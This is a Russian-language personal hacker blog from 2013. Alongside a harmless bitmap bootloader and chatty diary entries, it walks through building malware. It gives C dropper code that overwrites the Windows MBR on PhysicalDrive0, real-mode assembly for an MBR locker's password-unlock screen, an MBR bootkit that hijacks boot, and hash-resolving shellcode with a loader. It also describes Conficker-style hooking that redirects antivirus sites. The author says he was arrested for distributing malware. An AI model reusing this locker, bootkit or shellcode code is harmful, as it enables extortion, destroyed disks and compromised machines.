Общее·количество·просмотров·страницы

четверг, 31 октября 2013 г.

простой загрузчик и ядро

Попробуем написать загрузчик и ядро.Ядром у нас будет обычный битмап.Пишем на fasm, т.к. он позволяет устанавливать код в разных местах сегмента.Т.е. можно написать код стартующий с 7с00, а потом стартующий с 0h.

Для начала подготовим ядро.Что мы знаем о битмапе?он состоит к верху дном проще говоря,по этому и рисовать будем к верху дном.и сохранять в 256 цветах (по 1 байту как раз) и размерами 320*200 пикселей (равному режиму 0x13). получается у меня такая няша:

(фуууу, слабак!)))

далее смотрим по структуре: битмап это тупо рисунок с заголовками и палитрой.Их надо откусить.


-Заголовок файла (BITMAPFILEHEADER)
-Заголовок изображения (BITMAPINFOHEADER, может отсутствовать). BITMAPV4HEADER (Win95, NT4.0) BITMAPV5HEADER (Win98/Me, 2000/XP)
-Палитра (может отсутствовать)

1-й заголовок -14 байт
2-й заголовок -40 байт
палитра - это 256 записей RGB (4 байта) что составит еще 1кб.
всего надо откусить 1078 байт. открываем в любом хекс редакторе и откусываем.

должен получиться размер картинки 64000 байт.

терь собсна код:

первое загрузочный сектор.тут все как "обычно"

USE16

org 7C00h
EntryPoint:
mov ax, cs
cli
mov ss, ax
mov ds, ax
mov es, ax
mov sp, EntryPoint  ; настраиваем сегменты и т.д. и т.п.
sti
cld

push dx ; запоминаем какой диск


mov ax, 3
int 10h

xor dx, dx
mov bx, 15
mov ax, 1301h   ; выдаем , мол все зер гут
mov bp, BootMsg
mov cx, BootMsgEnd - BootMsg 
int 10h
pop dx

mov ax, 9000h  ; сегмент куда будут кидаться данные 
mov es, ax

mov ah, 2 ;2 сектор 
mov al, (KernelEnd - KernelStartCode) / 512 ; кол-во секторов, отведенных под ядро
xor dh, dh
mov cx, 2h
xor bx, bx
int 13h ; читаем 

jc Error
jmp 9000h:0000h ; передаем управление на заданный адрес


Error:
;если ошибка- че то там делаем


BootMsg db "Boot Sector Loaded"
BootMsgEnd:

TIMES 510-($-$$) DB 0
DW 0AA55h

Теперь идет непосредственно ядро:

KernelStart:
org 0h
KernelStartCode:
jmp KernelCode

BootDisk DB ?
KernelMsg db "Kernel Started"
KernelMsgEnd:


; процедура чтения сектора по номеру.
; вход ax= номер сектора
; es:bx= куда кинуть

ReadSectors:
push ax
push cx
cwd
mov cx, 18
div cx
mov cx, dx
inc cx

xor dh, dh
shr ax, 1
rcl dh, 1

mov ch, al
shl ah, 4
or cl, ah

mov dl, [BootDisk]

mov ax, 0201h   
int 13h

pop cx
pop ax
ret

KernelCode:
;извещаем что мы подгрузились

mov [BootDisk], dl
mov dx, 0100h
mov bx, 15
mov ax, 1301h
mov bp, KernelMsg
mov cx, KernelMsgEnd - KernelMsg 
int 10h

xor ax, ax ; ждем нажатия клавиши и устанавливаем режим 320*200*256
int 16h

mov ax, 13h
int 10h

mov ax, 0A000h ; начало непосредственно прямого вывода в видеобуффер 
mov es, ax

xor bx, bx
mov ax, 2
m1:
call ReadSectors ;читаем сектора пока не выведем все
add bx, 512
inc ax
cmp ax, 125
jne m1

xor ax, ax
int 16h ;ждем нажатия и ребутим ПК

jmp 0FFFFh:0000h

  TIMES  0 - ($-KernelStart) mod 512 DB 0 ; уравниваем размеры
KernelEnd:
   file '2.bmp' ; инклюдим наше ядро

Вот собсно и все. проверить как оно работает можно в боше.



ЭХЭХЭ)
ну вот собсно и усе).

А ТЕПЕРЬ БУДЕТ ТАКОЙ СЕ НАБОЛЕВШИЙ ПОСТ СКРИПТУМ))))))))

Я тут размышлял.на самом деле,сегодня уже 31 октября, лето вспоминаю как будто неделю назад,время бежит просто очень быстро, представить трудно что через 8-9 месяцев я буду говорить не "о черт,завтра на пары",а "о черт,завтра на работу", хотя без работы жизнь бы вообще была хер знает какой, если ни деньги ни хера материальное не приносит стимула и удовольствия.Надо искать свою нишу.И надо стараться держать рядом с собой только проверенных и лучших друзей,заниматься своим делом.Играйте музыку, программируйте аццкую хрень,бухайте в конце концов, читайте что нибудь стоящее (лично я прочел некоторые вещи Кафки,хотя еще в школе наотрез отказывался читать это).в общем не теряйте время.

пысышки:
уже целая коллекция гугл нексусов). подумываю 7 поменять на 10 теперь)
а это я учусь)



еще кое что: этот код мы как то давно со slesh-em чудили, он даже где то выкидывал его кажется.однако разобраться че он там грузит и как трудновато,так что я решил (давно хотел)его сюда закинуть и рассказать как применить и как работает).

вторник, 8 октября 2013 г.

Пищать как сучки или легальный перехват

В общем то давно было желание воссоздать технику как всем известного KIDO conficker
http://ru.wikipedia.org/wiki/Conficker (часть про блокировку сайтов АВ разработчиков).
Получилось то, что для делфи все библиотеки что я ощупал (в том числе от Ms-Rem-a) очевидно на сегодняшний день устарели или просто кривые, ибо все крэшилось или нереально лагало при инжекте,а сплайсить в западло было, да и то потом отладкой заниматься долго и весело.Решил раз уж я все равно уделяю какое то время Сям, то почему бы и нет.
Тем более MICRO$OFT сами выпускают для этого БЕСПЛАТНУЮ!(конечно не в комерц. проэктах)"легальную" библиотеку detours!.

Прежде всего я подофигел с того, что для пользования ею , надо (что очень не характерно для шиндовса,скорее для никсов) собирать ее из исходников.На самом деле все просто.я собирал detours 3.0 на 2010 студии (proff).

идем в visual studio tools (папка в пуске).видим такое:
выбираем командную строку.в папку куда установили detours в корень кидаем nmake (идет в любой студии в комплекте)и запускаем там nmake, ждем пока либа и примеры соберутся.

после чего добавляем ее в студию так:

нажимаем на св-ва проекта, дальше:
прописываем путь к либе и усе готово.можно заняться перехватом.
я подумал что просто блокать будет не слишком интересно, а лучше длеать редирект(не плохая идея для траффа, не так ли?))
ну и вот что получилось:

останется лишь сделать разделение ip\domen, главное что работает.советую попробовать либу, для не сверхсложных перехватов, где не нужен дизассемблер длин инструкций и т.д и т.п. (хотя по-моему уже он там есть)отлично подойдет!

ps:
вот так я и стал писать сюда раз в месяц, идея пришла-сделал-ушла)и лень лень лень и еще раз лень.

pss:
спасибо kaimi (http://kaimi.ru/) за консультацию!

psss:
вот люди почему то и спрашивают, почему нету на других ресурсах, а сижу только на форуме antichat.ru. Объясняю:
потому что это пиздец.вы полазьте якобы на "ХАКИРСКИХ" форумах где рассадник школоло которое только понтуется своими супер знаниями,прямо русские\украинские Биллы Гейтсы и Кэвины Митники.А на античате всегда можно найти ответы на свои вопросы, помогут те же kaimi и dx, раньше slesh , gar|k, и еще много людей...конечно на АЧ тоже школоты хватает, но она в основном в болталке да и торговых пытается кинуть кого то на 10$ .по этому грамотные в основе только элита.
единственные еще не плохие порталы rdot.org (тот же античат, просто я не застал каких то там страшных событий из-за чего образовался этот форум, я типа ньюфаг) и wasm.ru.
однако мне не было нужды там регаться, пока что.


pssss:
блеа!я уже опаздываю на учебу, все бб!)


воскресенье, 8 сентября 2013 г.

так,ни о чем

ps
есть некоторые конструктивные планы,наконец взяться за ОС, игру или еще там что то, но из-за бухла,лени и еще короче могу придумать миллион отмазок,нету времени в общем.

А еще перестроился режим из отдыха в учебу, так что будет совсем тяжко,и вообще я скучаю по тому что происходило)





фуууууууууу все это перестает не в технарский блог, а в дневник какой то сопливой девчонки...)


вторник, 3 сентября 2013 г.

Уменьшение расхода батареи андроид.

Давно я не был.К тому же заболел,но накопилось несколько интересных моментов,попробую описать чуть попозже.

Я пришел к выводу, что все эти экономщики батареи в маркете-одинаковые,просто вырубают вафлю,блюпуп и т.д. когда они не используются.Толку то.Андроид сам отключает вифи когда тот не юзается, блютуз не жрет батарею в огромных кол-вах.В основном потребителем является экран,а так же службы запущенные в фоне.

Но и при выключенном экране + еще радиомодуль и поддержка связи жрет.
По этому я провел такой микротест, суть которого состоит к снижению частоты камня.
создал два профиля с помощью setcpu (кажется так называется)-при отключении экрана снижать частоту на максимум.и при 30% батареи снижать до 579 mhz

и вот что получилось: юзался телефон не слабо,видео с тырнета,звонки,серфинг етц..результат я честно говоря заметил не плохой.+ еще советую на ночь включать режим полета(если вы не ждете звонка ночью;))тогда заряд останется почти не тронутым к следующему дню.






среда, 7 августа 2013 г.

Станем хорошими или продолжение mbr locker'a и обо всем-всем-всем)

Well, lets start in order. 02.07.2013 about 7:30 AM, I was arrested by Belarus policemen's.For the creating and distribution malware.Why this happened? 'Cause:
1)Client distributed malware in BY
2)There was XXXXX sum of money (stolen)
3)They are responsible people

It seems I talked in each post in this blog that the material "is used for educational purposes" , and I tell it right now- "FOR EDUCATION PURPOSES". ohh okay..)
but it's okay... I'm free... so, if you read it my friends, I just say "Hello)" to you ho-ho-ho)))

our UA policemen's was so cute ^^ "We got hacker DooD, oh yeah!")))
okay, forgot about it, it wasn't cool.It was like in a matrix.I was.night-hack, day-only student)
night...Massive Attack-dissolved girl)like a matrix)

that all about it.

Later, when I was freed, they gave me my nexus devices, cards, flash drives etc.But harddrive was their.
I have it later, before concert).

That was beautiful 3 days of ROCK))
And some photos;)

Sandra) Guano apes



BI-2


Kristina) Lacuna Coil



 Klaus Meine, Scorpions)




Окей ладно.привет)
Решил я тут завершить уже с mbr lock как бы, что бы у самого не оставалось никаких интересов больше. В общем то по названию поста, станем "хорошими)"Что это значит- сделаем строчку ввода кода,обработку клавиш, ну и разблокировку)

продолжение вот этой http://bydood.blogspot.com/2012/07/mbr-locker.html

ЧТО ЮЗАЛОСЬ:
1)nasm
2)C
3)IDA
4)sourcer
5)bochs

Что я думал в идеале должно быть:
Дроппером должен искаться первый чистый сектор (пускай физического диска) и бэкапиться туда mbr windows(конечно можно там извратиться с его зашифровкой и т.д. и т.п., но у нас наглядно).

int i;

HANDLE hout;

byte buf[512];

byte zerobuf[512]={0} ;

char st[1];

DWORD nr;
hout=CreateFile(TEXT("\\\\.\\PhysicalDrive0"),GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
for (i=0;i<=63;i++)
{
ReadFile(hout,&buf,512,&nr,NULL);
 if (strcmp(buf,zerobuf)==0)
{
_itoa(i,st,10);
MessageBox(0,TEXT("Найден пустой сектор под номером"),st,0);
ExitProcess(0);
}
else
MessageBox(0,0,0,0);
}

CloseHandle(hout);

итак что тут происходит у нас:
может я плохо искал, но как я знаю- побайтово читать сектор нельзя, а даже если и можно то наверное придется извращаться.а мы ленивые,очень.по этому просто зададим массив из 512 нулей (предположим что сектор 512 байт, в 99% это так.В любом случае размер сектора можно выдрать из геометрии диска-GetDiskFreeSpace,например)и будем сравнивать его в цикле с массивом байтов сектора (сектором).если найден такой сектор то помещаем туда mbr windows( в примере выводится сообщение с номером сектора, начиная от 0 само собой).
Дальше как в предыдущей статье, записываемся вместо mbr windows.Насчет того как восстанавливать- есть разные варианты, как пример дроппер может записать номер сектора с оригинальным mbr куда то в другой сектор, а наш mbr будет его оттуда брать,но вообще я не думал об этом.

Ну дальше ассемблер.
Нужно вывести строку про введение кода:

mov ah,0x13
mov al,1
mov bx,15
mov cx,13
mov dx,0x1700
mov bp,strmsg
int 0x10

тут все так же как и 1-й части, только добавим координаты в dx

для более универсального изучения (на самом деле мне было не охота копаться в прерываниях, да и дизасм залежался что то))я решил дизасмнуть какой то локер, скачал его на Рыгхосте.

вижу такое:

понимаю что это набор байт которые пишет дроппер, судя по сигнатуре mbr.
конечно можно нажать code ,но ИДА как то кривовато анализирует бинарники,так что я взял старый,добрый СОРСЕР

и тот выдал мне нехерово подробный листинг =D

ну все равно в прерывания пришлось лезть и вспоминать все эти извраты с клавишами)

mov di,0x8000
jboe: 
xor ah,ah
push di
int 0x16

pop di

будем писать по такому то адресу)тут можно не объяснять)

cmp al,0x08
je bck

jmp tst

bck:

нажали backspace? будем обрабатывать))иначе прыгаем на проверку ввода

mov ah,3
xor bh,bh
int 0x10
cmp dl,0x0D
jbe jboe
Начало строки? (ничего не введено- возврат каретки)- ничего не делаем

mov ah,3
xor bh,bh
int 0x10

dec dl

mov ah,2
xor bh,bh
int 0x10

считали курсор-декрементируем позицию и устанавливаем курсор.

mov al,' '
mov ah,0xA
int 0x10

записываем пробел.

xor bh,bh
mov ah,2
int 0x10

dec di

jmp jboe

устанавливаем курсор-и снова на ввод.

это был только "обработчик события") клавиши backspace
тут начинается проверка:

tst:
cmp al,0x0D
jnz char

этнэр?-проверка разрешимых символов и вывод

mov si,psw
mov di,0x8000
xor ch,ch
mov cl,6
repe cmpsb
jz ent

сравниваем введенные символы по адресу с строкой по адресу.
И да да, начнется бугурт- типа пароль в открытом виде хули там его искать тыры-пыры- снова повторюсь-для наглядности, пароль можно зашифровать и расшифровывать на лету, можно заныкать в другой сектор, и т.д. и т.п.

если ввели правильно (тут идет первые 6, то что мне кол-во впадлу было обрабатывать)
то переходим к процедуре возврата сектора.

pushad

mov ah,2
xor bh,bh
mov dx,0x170C
int 0x10

mov ax,0x0A20
mov cx,80
int 0x10

mov ah,0x13
mov al,1
mov bx,2
mov cx,5
mov dx,0x1800
mov bp,err
int 0x10 

mov ah,2
xor bh,bh
mov dx,0x170D
int 0x10
popad 
mov di,0x8000
jmp jboe


иначе-сохраним все базовые регистры, установим курсор в позицию, запишем 80 пробелов (так проще что бы не перерисовывать экран) и выдадим сообщение о ошибке, после чего отправим снова на ввод)))

Теперь будем проверять что бы юзвер не жмакал то что нам не угодно:

cmp al,'0'
jc jboe
cmp al,'9'
ja jboe
stosb
mov ah,0x00E
push di
int 0x10
pop di
jmp jboe

буквы,символы етц- нахер. только цифры))
и пишем их на экранчике,снова и снова, и снова, и снова)))

И ВОТ, такие моменты в исполнении Виктора Зангиева бывают очень опасны) (ладно что то я бушидо пересмотрел, не ну ,а что, сухое повествование тоже не кайф;))

дошли до разблокировки:

ent:

mov ax,03
int 0x10

mov ax,0x1301
mov bx,0xC
mov cx,93
xor dx,dx
mov bp,yes
int 0x10

xor ax,ax
int 0x16
jmp 0xFFFF:0x0000

очищаем дисплей, пишем наше послание пользователю))
(перед прерыванием клавиатуры, понятно должна быть процедура восстановления оригинального mbr и передачи управления на него, но я это уже делал, так что мне лень, можно тут поискать в споте как это делается)
просим нажать что то и делаем програмный ребут (все еще ж в реальном режиме)))

ну вот в общем то как бы и все))

теперь можно поглазеть как это работает, да и к тому же как настроить борщ для более-менее вменяемой отладки) (эмулировал на флопаре, ибо суть не меняется вообще, а настраивать АТА как то не охота было))

видео

Вот и сказочке конец господа.Через пару деньков поеду на морэ подъотдохну слегка, а потом продолжу копошиться с bios bootkit) да да такая интересная параша, nitin и vipin рулят))хотя еще покопошусь в коде wolfenstein 3D 1992 (кармак шикарный программер,у таких учиться надо,заодно по Сям подтянусь немножко) ну и в следующий, неизвестно когда раз, поговорим о восстановлении таблиц разделов из-за подлых mbr lock- ов.

бай бай.

PS: о стоп надо оставить немного музыки)

http://www.youtube.com/watch?v=GAiceRuLX1I
http://www.youtube.com/watch?v=KDwgQyJ_uzg
http://www.youtube.com/watch?v=Rgl_9ZVTQKk




пятница, 12 июля 2013 г.

ЭТО ПОЛНАЯ ХРЕНЬ! (С)

немножко попозже я приду,и, может быть, что то расскажу.
а пока я должен отдохнуть немного.4 дня.на фестивале хэлл еа!)

u guys just blow my mind!)

четверг, 27 июня 2013 г.

загрузчик exe/First blood)

Первые шаги к написанию микроядра.Понятное дело,что пока этот кусок дерьма умеет работать только с fat12 и использовать только сервисы микросхемы bios. код пока не выкладываю в виду его полной ущербности;)


пятница, 7 июня 2013 г.

вторая часть

я сделал вторую часть уже, но кинул на античате потому что давно ничего не писал.

теперь не знаю сколько меня не будет еще из-за учебы. дальше по плану уязвимый сервер и эксплоит buffer overflow к нему;)

воскресенье, 5 мая 2013 г.

hell yeah!)

Вот типа и я))).
Как я говорил раньше,если бы была олимпиада по лени-я был бы чемпионом мира)
ну суть не в этом в общем,я хочу провести теперь небольшое исследование.
меня заинтересовала эта тема,про mini duke malware, конкретно алгоритм который описывал sn0w из античата:

короче через хипспрей исполняется шеллкод, а исполняется ясен пень в бровсере. бровсер скачивает гифку, авер же не может понять че там нарисовано. поскольку пейлод зашифрован то и понять невозможно, данные ли это изображения или чето еще. поэтому спокойно пропускает. далее шеллкод раскриптовывает скачанный пейлод и запускает его.

я не буду показывать технику хипспрей(как работает можно найти в тырнете,в целом не трудно) предположительно план таков:

1)Напишем шеллкод (потому что хоть это у меня готово)
2)прокурим что это за тема такая "стеганография"
3)попробуем разобраться с переполнением на собственном примере
4)и попробуем сделать так что бы шеллкод исполнился в 3-пункте

// последние два пункта я не уверен еще ахаха)

А пока начнем с шеллкода.
что это,как пишется и т.д. и т.п. довольна обширная тема, к прочтению советуется wasm и статья slesh'a на античате.
я же скажу вкратце: шеллкод=базонезависимый код, прежде всего.
т.е. он должен работать например на линейке ОС windows с 2000 по 8 скажем, ну или как то так.

что бы добиться базонезависимости, мы понятно должны отречься от зашитых адресов функций из других систем windows ( потому что даже банальный патч или сервиспак уже может этот адрес изменить,и ясно дело шеллкод не будет работать).должны отречься от использования системных loadlibrary и getprocaddress (хотя они вроде и на древних виндах есть,но имхо это не шеллкод,а хрень получится),в идеале конечно шеллкод не должен содержать нуль-байтов, но это так,нам для наглядности и обычный подойдет.

Примерный алгоритм таков:
1)находим т.н. список модулей ininitorder
2)получаем указатель на kernel (обычно через PEB)
3)находим PE заголовок и таблицу экспорта имен
4)прошвыриваемся по таблице,сравнивая 16 битный хеш функции с нужным нам хешем
5)нашли хеш-находим адрес
6)нашли адрес-передаем параметры,вызываем.

и так я не мог проверить на древних виндах (если честно лень))))
работает на всех паках xp и 7 х86-х64
при выполнении выводит пустое окошко messagebox

написано на netwide assembler, исполнено на delphi (BASM).

приступим:

bits 32

rork equ 1

xloadlibrary equ 1101010101010b

xmessagebox equ 1011011000101010b

указываем что код 32-битный и указываем сдвиг для хеша, и хеши как вы догадались loadlibrary и messagebox

find_hash: 
    xor     ecx, ecx                  
    mov     esi, [fs:ecx + 0x30]       
    mov     esi, [esi + 0x0c]           
    mov     esi, [esi + 0x1c]          
next_module:
    mov     ebp, [esi + 0x08]           
    mov     edi, [esi + 0x20]          
    mov     esi, [esi]                 
    cmp     [edi + 12*2], cl
    jne     next_modul

находим ininitorder через PEB, получаем baseaddress, module name и проверяем закончились ли модули.

xgetprocaddress: 
    mov     ebx, [ebp + 0x3c]          
    mov     ebx, [ebp + ebx + 0x78]    
    add     ebx, ebp                    
    mov     ecx, [ebx + 0x18]          
    jcxz    next_module 

находим заголовок PE и таблицу экспорта,а также число указателей имен ф-й.

теперь честно спизженная функция поиска по хешу :D

next_function_loop: 
    mov     edi, [ebx + 0x20]          
    add     edi, ebp                   
    mov     edi, [edi + ecx * 4 - 4]   
    add     edi, ebp                    
    xor     eax, eax                    
    cdq                                
hash_loop:
    xor     dl, [edi]
    ror     dx, byte rork
    scasb
    jne     hash_loop
    cmp     dx, xmessagebox
    je      found_messagebox           
    cmp     dx, xloadlibrary
    loopne  next_function_loop          
    jne     next_module       
         
found_messagebox:
   
    mov     edx, [ebx + 0x24]          
    add     edx, ebp                   
    movzx   edx, word [edx + 2 * ecx]   

    mov     edi, [ebx + 0x1c]           
    add     edi, ebp                    
    add     ebp, [edi + 4 * edx]       
    test    esi, esi
    jz      messagebox

проходимся по модулям по таблицам сравнивая хеши-нашли прыгаем, иначе грузим user32 dll т.к. messagebox содержится там

loadlibrary:                         
    xor ecx, ecx
    mov cx, 0x3233  
push ecx

push 0x72657375
push    esp                         

    call    ebp                        
    xchg    eax, ebp                    
    xor     esi, esi                   
    jmp     xgetprocaddress

значения,заталкиваемые в стэк, ничто иное как строка в хекс виде.
грузим dll- ку. в ebp будет указатель на нее.

ну осталось только вызвать
    xor      eax, eax
    push    eax    
    push    eax  
    push    eax    
    push    eax                       
    call    ebp 

вызываем как обычную АПИ.

Вот и все, получается такой себе 130 байтовый шеллкодес вызывающий сообщение)

проверим его таким методом:

program Project2;
var
data: array[0..129] of byte = (
$31, $C9, $64, $8B, $71, $30, $8B, $76, $0C, $8B, $76, $1C, $8B, $6E, $08, $8B,
$7E, $20, $8B, $36, $38, $4F, $18, $75, $F3, $8B, $5D, $3C, $8B, $5C, $1D, $78,
$01, $EB, $8B, $4B, $18, $67, $E3, $E4, $8B, $7B, $20, $01, $EF, $8B, $7C, $8F,
$FC, $01, $EF, $31, $C0, $99, $32, $17, $66, $C1, $CA, $01, $AE, $75, $F7, $66,
$81, $FA, $2A, $B6, $74, $09, $66, $81, $FA, $AA, $1A, $E0, $DB, $75, $BD, $8B,
$53, $24, $01, $EA, $0F, $B7, $14, $4A, $8B, $7B, $1C, $01, $EF, $03, $2C, $97,
$85, $F6, $74, $14, $31, $C9, $66, $B9, $33, $32, $51, $68, $75, $73, $65, $72,
$54, $FF, $D5, $95, $31, $F6, $EB, $A1, $6A, $00, $6A, $00, $6A, $00, $6A, $00,
$FF, $D5
);
begin
asm
lea eax,data
call eax
end;
end.

с первой частью покончено. продолжим чуть позже)

upd я немного изменил шеллкод,что бы был без нульбайт.


воскресенье, 17 марта 2013 г.

man in the middle

Забыл я что то кинуть тему по атаке man in the middle с конкурса на ачате.
смотрите.
чем дальше займусь хз.есть пара идей.

четверг, 7 февраля 2013 г.

Первый пост в 2013.Продолжаем тему загрузчиков.

Вот это пропал так пропал называется,аж месяц с лишним прошел...ну вообще то есть достойное объяснение такого рода пропаже-(нет не только лень,хотя и лень):первое это праздники,а праздники как известно сопровождаются большим поглощением алкогольных веществ,и следовательно никакого рабочего состояния.Второе это сессия,хотя я сдал ее крайне быстро,но за этим шло отмечание сдачи сессии.ну и третье это лень само собой.Признаю что на эту работу я потратил примерно 3 недели,так как материал по этому дело практически отсутствует в сети,а если что то и есть то это крупицы на английском языке.
Итак в чем суть:отладка и написание загрузчика.

Инструментарий:
1)ассемблер,си
2)виртуальная машина
3)отладчик bochs
4)winhex
5)daemon tools
6)образ windows
7)ultraiso
8)эмулятор микропроцессора emu8086

Итак целью было написать загрузчик,который перед запуском венды проделывал бы какие то действия в реальном режиме,а после давал запуск венды.Зачем такое ебание мозгов я объясню в конце.

Парился я парился,из-за того что не мог отладить загрузчик с жесткого диска(ведь как мы знаем загрузчик получает управление задолго до запуска операционной системы,а отладчиков такого уровня попросту не существует)и получилось у меня написать загрузчик с дискеты,его работу можно посмотреть вот тут
http://www.youtube.com/watch?v=x99_7sB_hXk
Но так как это меня не устраивало,я решил продолжить работу и все таки заставить запускаться венду с жесткого диска.Алгоритм написания загрузчика у нас таков:

1)Заполнить bios parameter block для файловой системы NTFS (по правильному фс должен определять дроппер и заменять соответствующие байты,но мне во-первых лень,во-вторых почти все венды сейчас работают именно в этой ФС)
2)скопироваться из памяти 0x7c00 в память выше
3)запустить код из этой памяти(а-ля резидент)
4)в запускаемом коде произвести установленные в загрузчике действия
(у нас это выдать сообщение и ожидать нажатия)
5)передать управление загрузчику windows

Алгоритм написания дроппера таков:
1)Захексить бинарник и перенести его в массив
2)Сохранить оригинал загрузочного сектора в другом секторе(обязательно,дальше будет рассказано как сам вендовый загрузчик работает)
3)Спарсить с оригинала таблицу разделов
4)Записать таблицу разделов в массив бинарника
5)записать новый массив в нулевой сектор.

Начнем по порядку.
Заполнение bpb.
Для NTFS он представляет собой следующее

начинаем,делаем все точь в точь как в таблице,при просмотре в хекс-редакторе мы должны получить первые байты такие же как у mbr wndows (проверки на Хрюше)


org 07C00h
jmp short start
nop

oemID dq 'NTFS    '
bytespersector dw 512
sectorsperclaster db 8
reserved_sectors dw 2
db 0,0,0
dw 0
db 0F8h
dw 0
dw 0
dw 0
hidden dd 0
dd 0
dd 0
dq 0
dq 2
dq 0
dd 0
dd 0
dq 0
dd 0
что у нас тут происходит: первая команда джамп и ноп для 3 байт перехода.далее заполнение BPB по таблице.Тут ничего не надо говорить, акцентирую внимание на том что ОЭМ идентификатор всегда 8 байтовый должен быть.

Далее все по стандарту для загрузчика,настройка сегментов:


start:
       cli                
       xor ax,ax           
       mov ss,ax
       mov sp,7c00h       
       mov si,sp  
       push ax
       pop es 
       push ax
       pop ds
       
       sti   
       cld


тут опять же все по стандарту,отключаем прерывания что бы ничего не "повесить", сегмент стека ставим в 0 и потом в 7c00h после чего получаем сегмент:смещение 0000:7с00 , включаем прерывания и очищаем флаг направления.

Дальше идет довольно важный момент из-за которого я тоже немного затормозился в написании-копирование себя в верхнюю память.Это нужно для того что бы по старому адресу ничего не было когда мы будем туда передавать управление,иначе мы будем затирать сами себя своим же кодом и в итоге провал.


     push dx      
     mov di,0600h    
     mov cx,100h     
     repnz movsw                          
     jmp     0000:0672h  

в чем тут подвохи:
первое с чего я охренел это куда писать наш сектор,потому что как вы знаете есть логический и физический диск,и что откуда грузится без отладки мне было пока не ясно,вот винхекс нам это показывает:
Путем тыкания было установлено что запись все же следует проводить в физический диск.
С самого начала я забыл запушить dx (туда кладется номер первого диска найденного биосом) и конечно начал не понимать какого хрена не происходит загрузка,потом я записал его в прерывании,но ввиду того что где то в коде регистр очищался,загрузка опять проваливалась соответственно.По этому для лучшей безопасности я решил его запушить и восстанавливать в прерывании,так ничего никуда точно не исчезнет.Далее почему мы копируемся в 0600h- ну во-первых нам надо скопироваться в память выше размером > 200h (размер сектора),а во вторых-я посмотрел что так делает mbr windows и решил тоже спиздить этот участок памяти :D. копируем 256 слов иными словами 512 байт,и передаем управление в память по этому адресу.Вот тут то и случилась подстава номер два: нельзя просто прыгать на метку,потому что в зависимости от кода в метке-смещается адрес.Слеш сказал надо отнимать адрес старта+адрес памяти куда копируемся,парился парился-нихрена не работало,и тут мне пришло в голову в emu его прогнать,вот он то меня и спас,всегда надо смотреть адрес прыжка в отладчике,это 100% надежность что вы не промажете:

хорошо,мы скопировались,теперь можем выполнять код который захотим.


read:
          mov ax,03
          int 10h


          mov ah,13h
          xor al,al
          mov bx,00001010b
          xor dx,dx
          mov cx,msgend-msg
          call msgend

msg db 'Do u really wanna boot ur fucking windows?..ok press any key to do this'
msgend:
          pop bp
          int 10h


          xor ax,ax
          int 16h


тут ничего особенного,включаем видео режим, задаем атрибуты цветов и сообщение-выводим на экран и ожидаем нажатие клавиши.

когда клавиша нажата,будет выполняться следующий код:


           mov ax,0201h
           mov bx,7c00h
           mov cl,10
           pop dx
           int 13h
           jmp far 0000:7C00h

а именно-чтение сектора.Я захотел скопировать mbr windows в 9 сектор,вы можете копировать в любой(лучше от 2 до 63).Хотя правильнее было бы искать чистый сектор на ЛОГИЧЕСКОМ диске и записывать его туда,потом преобразовывать в физический и оттуда вычитывать,но лень,и так сойдет.

Тут опять параша: сначала я делал просто джамп на адрес-загрузки не было.засунул в эму- показал левый адрес,так как фасм единственный компилятор,нормально переваривающий длинные прыжки,то все решилось добавлением банального far.Тут с загрузчиком покончено.Сверим заголовки в секторе windows и нашем:
как видим все совпадает.

Переходим к части на Си.Я думал сделать на делфи,но решил что раз я начал осваивать си,то сделаю на си.
Возникли некоторые трудности с визуал студио,настроенной по статье Слеша,по этому я использовал не менее хорошую на мой взгляд IDE Pelles C поддерживаемая Пелле Ориниусом.Рассказывать про нее я не буду,все гуглится.

Итак по алгоритму, хексим наш бинарник.в винхексе есть такая замечательная штука,позволяющая скопировать блок сразу в исходник на С.

(подсветило паскаль-си на строку выше).Получаем что то вроде этого:

0xEB, 0x52, 0x90, 0x4E, 0x54, 0x46, 0x53, 0x20, 0x20, 0x20, 0x20, 0x00, 0x02, 0x08, 0x02, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0xF8...

Дальше нам надо переместить сектор mbr с ФИЗИЧЕСКОГО диска с 0 в 9 сектор.
(все на апи)


hout=CreateFile(TEXT("\\\\.\\PhysicalDrive0"),GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);


    ReadFile(hout,&buf,512,&nr,NULL); 

    SetFilePointer(hout,9*512,NULL,FILE_BEGIN); 

    WriteFile(hout,&buf,512,&nw,NULL); 



тут все просто-что бы читать\писать сектора в венде,достаточно открыть диск как файл. мы указываем physicaldrive0 то есть 1-й ФИЗИЧЕСКИЙ диск в системе,если мы хотим издеваться над логическим диском,то пишем просто букву диска,например: \\\\.\\C: в таком плане.
далее читаем мбр-переходим в сектор 9 и там его записываем.

Теперь надо спарсить таблицу разделов.Зачем спрашивается?-Поясню, отлаживая mbr windows, я заметил странную штуку-он ищет что то по смещению 1BEh в ПЕРВОМ секторе,пошарив в нете я нашел структуру загрузочного сектора:
то есть он искал там таблицы разделов.значит нам надо спарсить последние 66 байтов mbr windows.На самом деле это упрощенная схема mbr так как есть еще extended pt так называемая расширенная таблица разделов,вы видите что разрешается 4 таблицы разделов,но наверняка видели намного больше разделов,создаваемых спец. программами.вот это и есть EPT. ну нам для чистоты исследования хватит и такого.

        SetFilePointer(hout,9*512,NULL,FILE_BEGIN);

ReadFile(hout,&buf,512,&nr,NULL);

for(i=446;i<=512;i++)
{
mbr[i]=buf[i];
}

переходим на сохраненный в 9 секторе mbr. Я долго искал возможно ли прочитать сектор "по кусочкам" как говорится- в мсдн четко указано-апи функции читают\пишут сектора только размером КРАТНЫМ СЕКТОРУ т.е. 512,1024 и т.д., но не меньше.по этому читаем все 512 байтов в буфер,в цикле из одного массива,заменяем в наш бинарник-массив последние 66 байтов.


SetFilePointer(hout,0,NULL,FILE_BEGIN); 

WriteFile(hout,&mbr,sizeof(mbr),&nw,NULL);
переходим на смещение 0x00 и записываем видоизмененный массив бинарника в качестве mbr windows.ВСЕЕЕ!!! ее!)
можно посмотреть на его работу вот тут:
http://www.youtube.com/watch?v=5sC5o_yeoek&feature=youtu.be
.

Теперь я расскажу вам о отладке mbr в отладчике бош.
Что хочу сказать сразу-отладка крайне неудобная,бош работает крайне медленно,но каких то альтернатив я и не знаю.пробовал мучаться с идой и плагинами на питоне,но что то не получилось.
Ну во первых,поставить венду на бош вам скорее всего не удасться,по меньшей мере я пытался-не получилось,он застопорялся на распаковке файлов уже в gui режиме.
